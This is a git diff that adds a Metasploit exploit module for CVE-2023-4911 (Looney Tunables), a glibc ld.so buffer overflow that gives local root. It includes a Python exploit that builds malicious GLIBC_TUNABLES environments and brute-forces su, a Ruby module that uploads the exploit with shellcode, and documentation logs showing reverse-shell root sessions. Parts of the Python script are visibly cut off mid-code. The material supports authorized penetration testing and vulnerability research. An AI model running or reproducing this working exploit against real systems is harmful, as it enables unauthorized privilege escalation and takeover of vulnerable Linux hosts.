diff --git a/data/exploits/CVE-2023-4911/cve_2023_4911.py b/data/exploits/CVE-2023-4911/cve_2023_4911.py new file mode 100644 index 000000000000..a61655009caf --- /dev/null +++ b/data/exploits/CVE-2023-4911/cve_2023_4911.py @@ -0,0 +1,338 @@ +import binascii +import os +import resource +import time +import struct +import sys + +from ctypes import * +from ctypes.util import find_library +from shutil import which + +TUNABLES_MISCONFIG = b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" +STRING_TABLE_INDEX = "shstrndx" +NUMBER_OF_ENTRIES = "shnum" +ENTRY_SIZE = "shentsize" +ENTRY_KEYS = "name type flags addr offset size link info addralign entsize" +HEADER_ENTRY_FORMAT_64_BIT = " 0: + current_byte = blob_data[current_position] + next_byte = blob_data[current_position + 1] if current_position + 1 < len(blob_data) else None + + if current_byte != 0 and current_byte != 0x2F and next_byte == 0: + path_byte = bytes([current_byte]) + offset_from_start = current_position - start_offset + return {"path": path_byte, "offset": offset_from_start} + + current_position -= 1 + return None + + +def parse_structured_data(structure_format, structure_keys, structure_data): + unpacked_data = struct.unpack(structure_format, structure_data) + parsed_structure = dict(zip(structure_keys.split(" "), unpacked_data)) + return parsed_structure + + +def fetch_library_path(library_name): + class LoadedLibrary(Structure): + _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)] + + libc_library = CDLL(find_library("c")) + dl_library = CDLL(find_library("dl")) + + dl_info_function = dl_library.dlinfo + dl_info_function.argtypes = c_void_p, c_int, c_void_p + dl_info_function.restype = c_int + + link_map_ptr = c_void_p() + dl_info_function(libc_library._handle, 2, byref(link_map_ptr)) + + return cast(link_map_ptr, POINTER(LoadedLibrary)).contents.l_name + + +def execute_process(executable_path, arguments_list, environment_variables): + libc.execve(executable_path, arguments_list, environment_variables) + + +def execute_and_monitor(executable, arguments, environment): + argument_pointers = (c_char_p * len(arguments))(*arguments) + environment_pointers = (c_char_p * len(environment))(*environment) + + child_pid = os.fork() + if not child_pid: + execute_process(executable, argument_pointers, environment_pointers) + exit(0) + + start_time = time.time() + while True: + try: + pid, status = os.waitpid(child_pid, os.WNOHANG) + if pid == child_pid: + if os.WIFEXITED(status): + return os.WEXITSTATUS(status) & 0xFF7F + else: + return 0 + except: + pass + current_time = time.time() + if current_time - start_time >= 1.5: + os.waitpid(child_pid, 0) + return "Success" + + +class DelayedElfParser: + def __init__(self, filename): + self.data = open(filename, "rb").read() + self.architecture = 64 if self.data[4] == 2 else 32 + + elf_header_size = 0x30 if self.architecture == 64 else 0x24 + + self.header = parse_structured_data( + ELF_ENTRY_FORMAT_64_BIT if self.architecture == 64 else ELF_ENTRY_FORMAT_32_BIT, + ELF_HEADER_KEYS, + self.data[0x10: 0x10 + elf_header_size], + ) + section_header_table_index = self.extract_section_header(self.header[STRING_TABLE_INDEX]) + self.section_header_names = self.data[section_header_table_index["offset"] : section_header_table_index["offset"] + section_header_table_index["size"]] + + def extract_section_header(self, index): + header_offset = self.header["shoff"] + (index * self.header[ENTRY_SIZE]) + entry_format = HEADER_ENTRY_FORMAT_64_BIT if self.architecture == 64 else HEADER_ENTRY_FORMAT_32_BIT + + return parse_structured_data(entry_format, ENTRY_KEYS, self.data[header_offset : header_offset + self.header[ENTRY_SIZE]]) + + def extract_section_header_by_name(self, section_name): + encoded_name = section_name.encode() + for section_index in range(self.header[NUMBER_OF_ENTRIES]): + section_header = self.extract_section_header(section_index) + section_name_data = self.section_header_names[section_header["name"]:].split(b"\x00")[0] + if section_name_data == encoded_name: + return section_header + return None + + def extract_section_by_name(self, section_name): + section_header = self.extract_section_header_by_name(section_name) + if section_header: + start_offset = section_header["offset"] + end_offset = start_offset + section_header["size"] + return self.data[start_offset:end_offset] + return None + + def extract_symbol_value(self, symbol_name): + encoded_name = symbol_name.encode() + dynamic_symbol = self.extract_section_by_name(DYNAMIC_SYMBOL) + dynamic_string = self.extract_section_by_name(DYNAMIC_STRING) + symbol_entry_size = 24 if self.architecture == 64 else 16 + + for entry_index in range(len(dynamic_symbol) // symbol_entry_size): + entry_start = entry_index * symbol_entry_size + + if self.architecture == 64: + symbol_entry = parse_structured_data( + SYMBOL_STRUCTURE_FORMAT_64_BIT, + SYMBOL_STRUCTURE_KEYS_64_BIT, + dynamic_symbol[entry_start: entry_start + symbol_entry_size], + ) + else: + symbol_entry = parse_structured_data( + SYMBOL_STRUCTURE_FORMAT_32_BIT, + SYMBOL_STRUCTURE_KEYS_32_BIT, + dynamic_symbol[entry_start: entry_start + symbol_entry_size], + ) + + entry_name = dynamic_string[symbol_entry["name"]:].split(b"\x00")[0] + if entry_name == encoded_name: + return symbol_entry["value"] + + return None + + +def create_environment(adjustment, address, offset, bits=64): + if bits == 64: + environment = [ + TUNABLES_MISCONFIG + b"P" * adjustment, + TUNABLES_MISCONFIG + b"X" * 8, + TUNABLES_MISCONFIG + b"X" * 7, + b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24, + ] + + padding = 172 + fill = 47 + else: + environment = [ + TUNABLES_MISCONFIG + b"P" * adjustment, + TUNABLES_MISCONFIG + b"X" * 7, + b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14, + ] + + padding = 87 + fill = 47 * 2 + + for j in range(padding): + environment.append(b"") + + if bits == 64: + environment.append(struct.pack("> (i * 8)) & 0xFF == 0: + stack_address |= 0x10 << (i * 8) + + #print("The stack address being used is: 0x%x" % stack_address) + + environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"], + su_binary_elf.architecture) + count = 1 + #print('Entering the true loop') + argv = [b"su", b"--help", None] + while True: + #if count % 0x10 == 0: + # sys.stdout.write(".") + # sys.stdout.flush() + if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success": + #print("After %d tries: booya" % count) + exit(0) + count += 1 \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md new file mode 100644 index 000000000000..a76e12b6b6ac --- /dev/null +++ b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +A buffer overflow was exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment +variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when +launching binaries with SUID permission to execute code in the context of the root user. + +### Description + +The GLIBC_TUNABLES environment variable is parsed in a loop and is expected to be provided in the following format: +`tunable1=aaa:tunable2=bbb`. If the variable is sent in the following format: `tunable1=tunable2=AAA` due to the +absence of the tunable delimiter `:` in the string, the value `tunable2=AAA` is handled incorrectly and results in a +buffer overflow. + +### Setup + +Install [Ubuntu 22.04.3](https://releases.ubuntu.com/jammy/ubuntu-22.04.3-desktop-amd64.iso) while ensuring the VM does +not have internet access. + +Once booted up, edit `/etc/apt/apt.conf.d/20auto-upgrades` and change `APT::Periodic::Unattended-Upgrade` from `1` to +`0` to ensure to ensure the machine doesn't patch itself. + +Ensure that glibc is at version 2.35-0ubuntu3.1 by running the following: +``` +msfuser@msfuser-virtual-machine:~$ ldd --version +ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35 +Copyright (C) 2022 Free Software Foundation, Inc. +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +Written by Roland McGrath and Ulrich Drepper. +``` +The target should be exploitable. + +## Verification Steps + +1. Start `msfconsole` +2. Get a session +3. Do: `use exploit/linux/local/glibc_tunables_priv_esc` +4. Do: `set SESSION [SESSION]` +5. Do: `check` +6. Do: `run` +7. You should get a new *root* session + +## Scenarios + +### Ubuntu 22.04.3 with 2.35-0ubuntu3.1 installed (ARCH_X64) +``` +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set session -1 +session => -1 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 +lport => 5555 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > options + +Module options (exploit/linux/local/glibc_tunables_priv_esc): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMPILE Auto yes Compile on target (Accepted: Auto, True, False) + SESSION -1 yes The session to run this module on + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.123.1 yes The listen address (an interface may be specified) + LPORT 5555 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + +msf6 exploit(linux/local/glibc_tunables_priv_esc) > run + +View the full module info with the info, or info -d command. + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable +[*] Writing '/tmp/2Vkty.py' (13770 bytes) ... +[*] Running python3 /tmp/2Vkty.py +[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes. +[*] Sending stage (3045380 bytes) to 192.168.123.228 +[+] Deleted /tmp/2Vkty.py +[*] Meterpreter session 2 opened (192.168.123.1:5555 -> 192.168.123.228:33522) at 2023-11-15 21:58:37 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.123.228 +OS : Ubuntu 22.04 (Linux 6.2.0-35-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > + +``` + +### Debian 12 with 2.36-9-deb12u1 installed (ARCH_X64) +``` +msf6 exploit(linux/local/looney_tunables_lpe) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 192.168.123.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The glibc version (2.36-9-deb12u1) found on the target appears to be vulnerable +[*] Writing '/tmp/SnnDbAMC.py' (13770 bytes) ... +[*] Running python3 /tmp/SnnDbAMC.py +[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes. +[*] Sending stage (38 bytes) to 192.168.123.229 +[+] Deleted /tmp/SnnDbAMC.py +[*] Command shell session 9 opened (192.168.123.1:4444 -> 192.168.123.229:50854) at 2023-11-14 21:03:57 -0500 + +id +uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),113(lpadmin),116(scanner),1000(msfuser) +uname -a +Linux debian 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-2 (2023-07-27) x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/linux/local/looney_tunables_lpe.rb b/documentation/modules/exploit/linux/local/looney_tunables_lpe.rb new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb new file mode 100644 index 000000000000..b1f1d187e48d --- /dev/null +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + # includes: is_root? + include Msf::Post::Linux::Priv + # includes: kernel_release + include Msf::Post::Linux::Kernel + # include: get_sysinfo + include Msf::Post::Linux::System + # includes writable?, upload_file, upload_and_chmodx, exploit_data + include Msf::Post::File + # includes register_files_for_cleanup + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)', + 'Description' => %q{ + A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES + environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when + launching binaries with SUID permission to execute code in the context of the root user. + }, + 'Author' => [ + 'Qualys Threat Research Unit', # discovery + 'blasty', # PoC + 'jheysel-r7' # msf module + ], + 'References' => [ + [ 'CVE', '2023-4911'], + [ 'URL', 'https://haxx.in/files/gnu-acme.py'], + [ 'URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'], + ['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'], + ['URL', 'https://ubuntu.com/security/CVE-2023-4911'] + ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'linux', 'unix' ], + 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_AARCH64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PrependSetresgid' => true, + 'PrependSetresuid' => true, + 'WfsDelay' => 600 + }, + 'DisclosureDate' => '2023-10-03', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_advanced_options([ + OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]) + ]) + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + write_file path, data + ensure + register_file_for_cleanup(path) + end + + def find_exec_program + %w[python python3].select(&method(:command_exists?)).first + end + + def check + glibc_version = cmd_exec('ldd --version').scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first + return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version + + sysinfo = get_sysinfo + case sysinfo[:distro] + when 'ubuntu' + if (Rex::Version.new('2.35-0ubuntu3.4') > Rex::Version.new(glibc_version) && Rex::Version.new('2.35') > Rex::Version.new(glibc_version)) || + (Rex::Version.new('2.37-0ubuntu2.1') > Rex::Version.new(glibc_version) && Rex::Version.new('2.37') > Rex::Version.new(glibc_version)) || + (Rex::Version.new('2.38-1ubuntu6') > Rex::Version.new(glibc_version) && Rex::Version.new('2.38') > Rex::Version.new(glibc_version)) + return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") + end + when 'debian' + # Debian's version contain a "+" which Rex complains about via: ArgumentError Malformed version number string + glibc_version.gsub!('+', '-') + if (Rex::Version.new('2.31-13-deb11u7') > Rex::Version.new(glibc_version) && Rex::Version.new('2.31') > Rex::Version.new(glibc_version)) || + (Rex::Version.new('2.36-9-deb12u3') > Rex::Version.new(glibc_version) && Rex::Version.new('2.36') > Rex::Version.new(glibc_version)) + return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") + end + else + return CheckCode::Unknown('The module has not been tested against this Linux distribution') + end + CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable") + end + + def exploit + fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? + python_binary = find_exec_program + fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary + vprint_status("Using '#{python_binary}' to run the exploit") + path = datastore['WritableDir'] + + # The python script assumes the working directory is the one we can write to. + cmd_exec("cd #{datastore['WritableDir']}") + python_script = rand_text_alphanumeric(5..10) + '.py' + shell_code = payload.encoded.unpack('H*').first + exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) + upload("#{path}/#{python_script}", exploit_data) + cmd = "#{python_binary} #{path}/#{python_script}" + print_status("Running #{cmd}") + + # If there is no target for the ld.so build ID found by the PoC, it will error immediately and the output will be displayed + # If there is no response from cmd_exec after the timeout this indicates a build ID has been found and exploit is running successfully + output = cmd_exec(cmd) + if output.blank? + print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.') + else + print_line(output) + end + end +end